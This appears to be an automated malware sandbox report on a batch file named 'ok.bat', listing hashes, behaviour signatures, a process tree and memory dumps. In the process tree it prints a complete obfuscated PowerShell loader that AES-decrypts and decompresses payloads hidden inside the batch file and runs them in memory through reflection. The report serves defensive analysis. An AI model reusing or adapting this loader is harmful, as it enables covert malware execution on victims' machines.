0aeb0fb66dd52c44d48137d6b5bbbef9bc57d01c3da4655665e541fdeda94158

Analysis

max time kernel
18s
max time network
16s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
02/09/2024, 09:24

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General

Target

ok.bat
Size

408KB
MD5

b0f8f1efd13e7bd0cc66d64eb3d75a63
SHA1

1800d9fad1506bbaedf09da136b6334660fa31ab
SHA256

0aeb0fb66dd52c44d48137d6b5bbbef9bc57d01c3da4655665e541fdeda94158
SHA512

ef1ab4604783c6a58f7adfe0155226e69cb8970f8eaea211432f95c461bdf0aeccc2de677f687e943400dab05bc798b261d8ac5f58442bcac382096757e7d69f
SSDEEP

6144:bexdO5Cg9W3uNG0mS4jW5RBgYL9rJ4lwhCFPJt7Reg7lrjqV0KEmtlJ8xePlwGB2:iUCg9XNGxzy5RWnHv7N7B2EMbdwLjqeN

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1708	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2432 wrote to memory of 2156	2432	cmd.exe	31
PID 2432 wrote to memory of 2156	2432	cmd.exe	31
PID 2432 wrote to memory of 2156	2432	cmd.exe	31
PID 2432 wrote to memory of 1708	2432	cmd.exe	32
PID 2432 wrote to memory of 1708	2432	cmd.exe	32
PID 2432 wrote to memory of 1708	2432	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ok.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1HvwTOfe16KE/Oo1VmVeLyRX5eszT05lMFFAv86FK2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iyFMMVCpvdKRQhPXVaNuEg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DelDl=New-Object System.IO.MemoryStream(,$param_var); $iauBN=New-Object System.IO.MemoryStream; $WMepm=New-Object System.IO.Compression.GZipStream($DelDl, [IO.Compression.CompressionMode]::Decompress); $WMepm.CopyTo($iauBN); $WMepm.Dispose(); $DelDl.Dispose(); $iauBN.Dispose(); $iauBN.ToArray();}function execute_function($param_var,$param2_var){ $mjGIW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ujopB=$mjGIW.EntryPoint; $ujopB.Invoke($null, $param2_var);}$YUshL = 'C:\Users\Admin\AppData\Local\Temp\ok.bat';$host.UI.RawUI.WindowTitle = $YUshL;$RMXmR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($YUshL).Split([Environment]::NewLine);foreach ($hdLAq in $RMXmR) { if ($hdLAq.StartsWith('npMFpQCGBAsoiliwarmL')) { $iDGWH=$hdLAq.Substring(20); break; }}$payloads_var=[string[]]$iDGWH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/1708-4-0x000007FEF599E000-0x000007FEF599F000-memory.dmp

Filesize
4KB

Download
memory/1708-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/1708-6-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/1708-9-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/1708-8-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/1708-7-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/1708-10-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/1708-11-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/1708-12-0x000007FEF599E000-0x000007FEF599F000-memory.dmp

Filesize
4KB

Download
memory/1708-13-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download